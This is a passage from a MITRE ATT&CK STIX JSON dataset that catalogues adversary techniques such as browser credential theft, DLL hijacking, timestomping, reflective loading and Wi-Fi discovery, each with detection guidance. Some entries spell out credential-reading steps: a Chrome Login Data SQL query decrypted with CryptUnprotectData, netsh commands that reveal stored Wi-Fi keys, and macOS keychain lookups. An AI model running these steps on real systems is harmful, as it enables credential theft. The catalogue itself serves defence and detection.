"https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html"}, {"source_name": "lucr-3: Getting SaaS-y in the cloud", "description": "Ian Ahl. (2023, September 20). LUCR-3: Scattered Spider Getting SaaS-y In The Cloud. Retrieved September 20, 2023.", "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"}, {"source_name": "SIM Swapping and Abuse of the Microsoft Azure Serial Console", "description": "Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.", "url": "https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial"}, {"source_name": "Azure Serial Console", "description": "Microsoft. (2022, October 17). Azure Serial Console. Retrieved June 2, 2023.", "url": "https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ryan Benson, Exabeam", "Barry Shteiman, Exabeam", "Sylvain Gil, Exabeam", "RedHuntLabs, @redhuntlabs"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", "type": "attack-pattern", "created": "2019-06-17T19:34:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1503", "url": "https://attack.mitre.org/techniques/T1503"}, {"source_name": "Talos Olympic Destroyer 2018", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."}, {"source_name": "Microsoft CryptUnprotectData April 2018", "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata", "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."}, {"source_name": "Proofpoint Vega Credential Stealer May 2018", "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign", "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."}, {"source_name": "FireEye HawkEye Malware July 2017", "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html", "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."}, {"source_name": "GitHub Mimikittenz July 2016", "url": "https://github.com/putterpanda/mimikittenz", "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."}], "modified": "2020-11-17T16:03:55.549Z", "name": "Credentials from Web Browsers", "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.  (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2024-03-01T16:25:43.150Z", "name": "System Binary Proxy Execution", "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Nishan Maharjan, @loki248", "Hans Christoffer Gaardl\u00f8s", "Praetorian", "Wes Hurd"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "3.1", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Windows Registry: Windows Registry Key Modification", "Module: Module Load", "File: File Creation", "Process: OS API Execution", "Process: Process Creation", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Application control", "Digital Certificate Validation"], "type": "attack-pattern", "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218", "external_id": "T1218"}, {"source_name": "GTFO split", "description": "GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.", "url": "https://gtfobins.github.io/gtfobins/split/"}, {"source_name": "LOLBAS Project", "description": "Oddvar Moe et al. (2022, February).  Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.", "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria"}, {"source_name": "split man page", "description": "Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) \u2014 Linux manual page. Retrieved March 25, 2022.", "url": "https://man7.org/linux/man-pages/man1/split.1.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1153", "url": "https://attack.mitre.org/techniques/T1153"}, {"source_name": "Source Manual", "url": "https://ss64.com/bash/source.html", "description": "ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019."}], "modified": "2020-03-30T13:40:14.512Z", "name": "Source", "description": "**This technique has been deprecated and should no longer be used.**\n\nThe <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.", "x_mitre_deprecated": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Stefan Kanthak", "Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", "type": "attack-pattern", "created": "2017-05-31T21:30:40.604Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"url": "https://attack.mitre.org/techniques/T1038", "external_id": "T1038", "source_name": "mitre-attack"}, {"url": "https://capec.mitre.org/data/definitions/471.html", "source_name": "capec", "external_id": "CAPEC-471"}, {"source_name": "Microsoft DLL Search", "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", "url": "http://msdn.microsoft.com/en-US/library/ms682586"}, {"source_name": "OWASP Binary Planting", "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", "url": "https://www.owasp.org/index.php/Binary_planting"}, {"source_name": "Microsoft 2269637", "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.", "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"}, {"source_name": "Microsoft DLL Redirection", "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.", "url": "http://msdn.microsoft.com/en-US/library/ms682600"}, {"source_name": "Microsoft Manifests", "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", "url": "https://msdn.microsoft.com/en-US/library/aa375365"}, {"source_name": "Mandiant Search Order", "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.", "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"}], "modified": "2020-03-26T14:49:47.091Z", "name": "DLL Search Order Hijacking", "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Process whitelisting"], "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_system_requirements": ["Ability to add a DLL, manifest file, or .local file, directory, or junction."], "x_mitre_effective_permissions": ["User", "Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Pedro Harrison"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", "type": "attack-pattern", "created": "2017-05-31T21:30:45.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1050", "url": "https://attack.mitre.org/techniques/T1050"}, {"external_id": "CAPEC-550", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/550.html"}, {"url": "https://technet.microsoft.com/en-us/library/cc772408.aspx", "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", "source_name": "TechNet Services"}, {"url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.", "source_name": "Microsoft 4697 APR 2017"}, {"url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection", "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.", "source_name": "Microsoft Windows Event Forwarding FEB 2018"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}], "modified": "2020-03-17T16:21:36.413Z", "name": "New Service", "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Romain Dumont, ESET"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "type": "attack-pattern", "created": "2020-01-31T12:42:44.103Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1070.006", "url": "https://attack.mitre.org/techniques/T1070/006"}, {"url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html", "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", "source_name": "WindowsIR Anti-Forensic Techniques"}], "modified": "2020-03-29T21:39:46.724Z", "name": "Timestomp", "description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification", "File: File Metadata"], "x_mitre_defense_bypassed": ["Host forensic analysis"], "x_mitre_permissions_required": ["root", "SYSTEM", "User"]}, {"modified": "2024-02-09T18:49:08.428Z", "name": "Reflective Code Loading", "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Jo\u00e3o Paulo de A. Filho, @Hug1nN__", "Shlomi Salem, SentinelOne", "Lior Ribak, SentinelOne", "Rex Guo, @Xiaofei_REX, Confluera", "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", "Jiraput Thamsongkrah"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as <code>Assembly.Load()</code> and [Native API](https://attack.mitre.org/techniques/T1106) functions such as <code>CreateThread()</code>, <code>memfd_create()</code>, <code>execve()</code>, and/or <code>execveat()</code>.(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["macOS", "Linux", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Module: Module Load", "Script: Script Execution", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Application control", "Anti-virus"], "type": "attack-pattern", "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "created": "2021-10-05T01:15:06.293Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1620", "external_id": "T1620"}, {"source_name": "00sec Droppers", "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.", "url": "https://0x00sec.org/t/super-stealthy-droppers/3715"}, {"source_name": "S1 Custom Shellcode Tool", "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.", "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/"}, {"source_name": "Mandiant BYOL", "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.", "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"}, {"source_name": "S1 Old Rat New Tricks", "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.", "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/"}, {"source_name": "MDSec Detecting DOTNET", "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.", "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"}, {"source_name": "Microsoft AssemblyLoad", "description": "Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.", "url": "https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load"}, {"source_name": "Intezer ACBackdoor", "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.", "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"}, {"source_name": "Stuart ELF Memory", "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.", "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html"}, {"source_name": "Introducing Donut", "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.", "url": "https://thewover.github.io/Introducing-Donut/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-05T11:35:30.887Z", "name": "Wi-Fi Discovery", "description": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Christopher Peacock", "Uriel Kosayev", "Liran Ravich, CardinalOps", "Alex Spivakovsky, Pentera"], "x_mitre_deprecated": false, "x_mitre_detection": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06", "created": "2023-09-08T15:39:50.269Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1016/002", "external_id": "T1016.002"}, {"source_name": "Binary Defense Emotes Wi-Fi Spreader", "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.", "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}, {"source_name": "Check Point APT35 CharmPower January 2022", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"}, {"source_name": "Wi-Fi Password of All Connected Networks in Windows/Linux", "description": "Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks in Windows/Linux. Retrieved September 8, 2023.", "url": "https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/"}, {"source_name": "Malware Bytes New AgentTesla variant steals WiFi credentials", "description": "Hossein Jazi. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved September 8, 2023.", "url": "https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials"}, {"source_name": "Find Wi-Fi Password on Mac", "description": "Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi Password on a Mac. Retrieved September 8, 2023.", "url": "https://mackeeper.com/blog/find-wi-fi-password-on-mac/"}, {"source_name": "BleepingComputer Agent Tesla steal wifi passwords", "description": "Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords using upgraded Agent Tesla malware. Retrieved September 8, 2023.", "url": "https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-11-06T20:14:51.609Z", "name": "Ignore Process Interrupts", "description": "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man)  These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Viren Chaudhari, Qualys"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], 